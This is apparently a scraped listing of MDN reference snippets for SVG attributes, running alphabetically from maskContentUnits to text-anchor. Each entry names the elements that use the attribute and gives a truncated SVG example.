html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask" maskcontentunits="objectboundingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle, revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attrib...
maskContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskcontentunits="userspaceonuse"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskcontentunits="objectboundingbox"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> ...
maskUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskunits="userspaceonuse" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskunits="objectboundingbox" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y...
max - SVG: Scalable Vector Graphics
WebSVGAttributemax
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" max="6s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specifie...
media - SVG: Scalable Vector Graphics
WebSVGAttributemedia
only one element is using this attribute: <style> html, body, svg { height: 100%; } <svg viewbox="0 0 240 220" xmlns="http://www.w3.org/2000/svg"> <style> rect { fill: black; } </style> <style media="all and (min-width: 600px)"> rect { fill: seagreen; } </style> <text y="15">resize the window to see the effect</text> <rect y="20" width="200" height="200" /> </svg> usage notes value <media-query-list> default value all animatable yes <media-query-list> this value holds a media query that needs to match in order for the style sheet to be applied.
min - SVG: Scalable Vector Graphics
WebSVGAttributemin
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" min="2s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies t...
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
only one element is using this attribute: <feblend> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="blending1" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> <filter id="blending2" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="color-dodge"/> </filter> <image xlink:href="//develope...
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
<circle>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none animatable no specifications specification status comment scalable vector graphics (svg) 2the definition of 'onclick' in that specification.
opacity - SVG: Scalable Vector Graphics
WebSVGAttributeopacity
entation attribute, it can be applied to any element but it has effect only on the following elements: <a>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <marker>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use>, <unknown>, and <video> html, body, svg { height: 100%; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> <stop offset="100%" style="stop-color:seagreen;" /> </lineargradient> </defs> <rect x="0" y="0" width="100%" height="100%" fill="url(#gradient)" /> <circle cx="50" cy="50" r="40" fill="black" /> <circle cx="150" cy="5...
operator - SVG: Scalable Vector Graphics
two elements are using this attribute: <fecomposite> and <femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="url(#erode)">thin text</text> <text x="0" y="65" filter="url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be perfo...
order - SVG: Scalable Vector Graphics
WebSVGAttributeorder
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="emboss1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="3"/> </filter> <filter id="emboss2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#em...
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
only one element is using this attribute: <marker> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <...
overflow - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <foreignobject>, <iframe>, <image>, <marker>, <pattern>, <symbol>, <svg>, and <text> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg" overflow="auto"> <text y="20">this text is wider than the svg, so there should be a scrollbar shown.</text> </svg> usage notes value visible | hidden | scroll | auto default value visible animatable yes for a description of the values, please see the css overflow property.
paint-order - SVG: Scalable Vector Graphics
example <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <lineargradient id="g" x1="0" y1="0" x2="0" y2="1"> <stop stop-color="#888"/> <stop stop-color="#ccc" offset="1"/> </lineargradient> <rect width="400" height="200" fill="url(#g)"/> <g fill="crimson" stroke="white" stroke-width="6" stroke-linejoin="round" text-anchor="middle" font-family="sans-serif" font-size="50px" fon...
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
two elements are using this attribute: <animatemotion> and <textpath> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path id="mypath" fill="none" stroke="silver" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <text> <textpath path="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50"> quick brown fox jumps over the lazy dog.
pathLength - SVG: Scalable Vector Graphics
seven elements are using this attribute: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <style> path { fill: none; stroke: black; stroke-width: 2; stroke-dasharray: 10; } </style> <!-- no pathlength, the real length of the path is used.
patternContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- a pattern tile that content coordinates and values are computed against the current coordinate user space.
patternTransform - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- apply a transform on the tile --> <pattern id="p1" width=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
patternUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- all geometry properties are relative to the current user space --> <pattern id="p1" x="12.5" y="12.5" width="25" height="25" patternunits="userspaceonuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- all geometry properties are relative to the target bounding box --> <pattern id="p2" x=".125" y=".125" width=".25" height=".25" patternunits="objectboundingbox"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="1...
pointer-events - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- the circle will always intercept the mouse event.
pointsAtX - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="20...
pointsAtY - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="20...
pointsAtZ - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="8...
preserveAlpha - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/m...
r - SVG: Scalable Vector Graphics
WebSVGAttributer
two elements are using this attribute: <circle>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient r="0" id="mygradient000"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="50%" id="mygradient050"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="100%" id="mygradient100"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="0"/> <circle cx="150" cy="50" r="25"/> <circle cx="250" cy="50" r="50"/> <...
repeatCount - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="5"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> </svg> usage notes value <number> | indefinite default value none animatable no <number> this value specifies the num...
repeatDur - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="5s"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="indefinite"/> </rect> </svg> usage notes value <clock-value> | indefinite default values none animatable no <clock-value> this value specifies th...
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } a { fill: blue; text-decoration: underline; cursor: pointer; } <svg viewbox="0 0 220 200" xmlns="http://www.w3.org/2000/svg"> <rect y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.g...
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
seventeen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> ...
rotate - SVG: Scalable Vector Graphics
WebSVGAttributerotate
examples svg <svg width="400" height="120" viewbox="0 0 480 120" xmlns="http://www.w3.org/2000/svg"> <!-- draw the outline of the motion path in grey --> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="themotionpath"/> <!-- red arrow which will not rotate --> <path fill="red" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur=...
rx - SVG: Scalable Vector Graphics
WebSVGAttributerx
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" rx="0" ry="25" /> <ellipse cx="150" cy="50" rx="25" ry="25" /> <ellipse cx="250" cy="50" rx="50" ry="25" /> <rect x="20" y="120" width="60" height="60" rx="0" ry="15"/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape.
ry - SVG: Scalable Vector Graphics
WebSVGAttributery
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" ry="0" rx="25" /> <ellipse cx="150" cy="50" ry="25" rx="25" /> <ellipse cx="250" cy="50" ry="50" rx="25" /> <rect x="20" y="120" width="60" height="60" ry="0" rx="15"/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape.
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 480 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves...
shape-rendering - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" shape-rendering="geometricprecision"/> <circle cx="320" cy="100" r="100" shape-rendering="crispedges"/> </svg> usage notes value auto | optimizespeed | crispedges | geometricprecision default value auto animatable yes auto this value indicates that the user agent shall make app...
side - SVG: Scalable Vector Graphics
WebSVGAttributeside
only one element is using this attribute: <textpath> html, body, svg { height: 100%; } text { font: 25px arial, helvelica, sans-serif; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <text> <textpath href="#circle1" side="left">text left from the path</textpath> </text> <text> <textpath href="#circle2" side="right">text right from the path</textpath> </text> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes ...
specularConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="specularlighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="1.2"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="specularlighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="0.8"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </fi...
specularExponent - SVG: Scalable Vector Graphics
two elements are using this attribute: <fespecularlighting> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="1"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="5"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url...
startOffset - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <path id="path1" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <path id="path2" fill="none" stroke="red" d="m130,90 q210,90 210,45 q210,10 170,10 q130,10 130,40 q130,70 165,70 q190,70 195,50" /> <text> <textpath href="#path1" startoffset="0"> quick brown fox jumps over the lazy dog.
stdDeviation - SVG: Scalable Vector Graphics
only one element is using this attribute: <fegaussianblur> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="gaussianblur1"> <fegaussianblur stddeviation="1" /> </filter> <filter id="gaussianblur2"> <fegaussianblur stddeviation="5" /> </filter> <filter id="gaussianblur3" x="-30%" y="-30%" width="160%" height="160%"> <fegaussianblur stddeviation="10" /> </filter> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur1);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur2); transform: translatex(140px);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur3); transform: t...
stitchTiles - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: trans...
stroke-dasharray - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element, but it only has effect on the following twelve elements: <altglyph> <circle> <ellipse> <path> <line> <polygon> <polyline> <rect> <text> <textpath> <tref> <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dashes nor gaps --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- dashes and gaps of the same size --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="4" /> <!-- dashes and gaps of different sizes --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="4 1" /> <!-- da...
stroke-dashoffset - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dash array --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- no dash offset --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="3 1" /> <!-- the start of the dash array computation is pulled by 3 user units --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="3 1" ...
stroke-miterlimit - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 38 30" xmlns="http://www.w3.org/2000/svg"> <!-- impact of the default miter limit --> <path stroke="black" fill="none" stroke-linejoin="miter" id="p1" d="m1,9 l7 ,-3 l7 ,3 m2,0 l3.5 ,-3 l3.5 ,3 m2,0 l2 ,-3 l2 ,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5 ,-3 l0.5 ,3" /> <!-- impact of the smallest miter limit (1) --> <path stroke="black" fill="none" ...
stroke-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 40 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke opacity: 1 --> <circle cx="5" cy="5" r="4" stroke="green" /> <!-- stroke opacity as a number --> <circle cx="15" cy="5" r="4" stroke="green" stroke-opacity="0.7" /> <!-- stroke opacity as a percentage --> <circle cx="25" cy="5" r="4" stroke="green" stroke-opacity="50%" /> <!-- stroke opacity as a css property...
stroke-width - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on shapes and text context elements, including: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke width: 1 --> <circle cx="5" cy="5" r="3" stroke="green" /> <!-- stroke width as a number --> <circle cx="15" cy="5" r="3" stroke="green" stroke-width="3" /> <!-- stroke width as a percentage --> <circle cx="25" cy="5" r="3" stroke="green" stroke-width="2%" /> </svg> usage notes value <length> | ...
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- simple color stroke --> <circle cx="5" cy="5" r="4" fill="none" stroke="green" /> <!-- stroke a circle with a gradient --> <defs> <lineargradient id="mygradient"> <stop offset="0%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </lineargradient> </defs> <circle cx="15" cy="5" r="4" fill="none" ...
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <rect width="80" height="40" x="10" y="10" style="fill: skyblue; stroke: cadetblue; stroke-width: 2;"/> </svg> usage notes value <style> default value none animatable no <style> the syntax of style data depends on the style sheet language.
surfaceScale - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="15"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <...
tabindex - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <?xml version="1.0"?> <svg viewbox="0 0 260 260" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="15" tabindex="1" /> <circle cx="60" cy="160" r="30" tabindex="3" /> <circle cx="160" cy="60" r="30" tabindex="2" /> <circle cx="160" cy="160" r="60" tabindex="4" /> </svg> usage notes value valid integer default value none animatable no valid integer relative order of the element for the purposes of sequential focus navigation.
tableValues - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="0 1"/> <fefuncg type="table" tablevalues=...
text-anchor - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- materialisation of anchors --> <path d="m60,15 l60,110 m30,40 l90,40 m30,75 l90,75 m30,110 l90,110" stroke="grey" /> <!-- anchors in action --> <text text-anchor="start" x="60" y="40">a</text> <text text-anchor="middle" x="60" y="75">a</text> <text text-anchor="end" x="60" y="110">a</text> <!-- materialisation of anchors --> <circle cx="60" c...
